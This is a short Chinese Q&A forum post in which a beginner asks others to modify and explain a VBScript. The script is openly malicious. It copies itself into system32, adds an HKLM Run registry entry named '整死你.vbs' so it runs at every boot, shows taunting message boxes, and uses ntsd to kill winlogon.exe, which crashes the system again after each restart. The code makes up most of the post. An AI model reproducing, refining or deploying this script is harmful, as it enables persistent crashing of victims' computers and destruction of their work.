请问一下谁能给我修改一下这段代码并解释每一句(我是菜鸟,谢谢了)如题 谢谢了
onerrorresumenextDimfso,fileSetfso=CreateObject("Scripting.FileSystemObject")Setfile=...
on error resume next Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "整死你.vbs" Key_data = "C:\windows\system32\整死你.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name msgbox"让你蓝一次屏吧!" msgbox"对了,这个可以开机重启的" msgbox"活该,哈哈" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if
展开
1个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询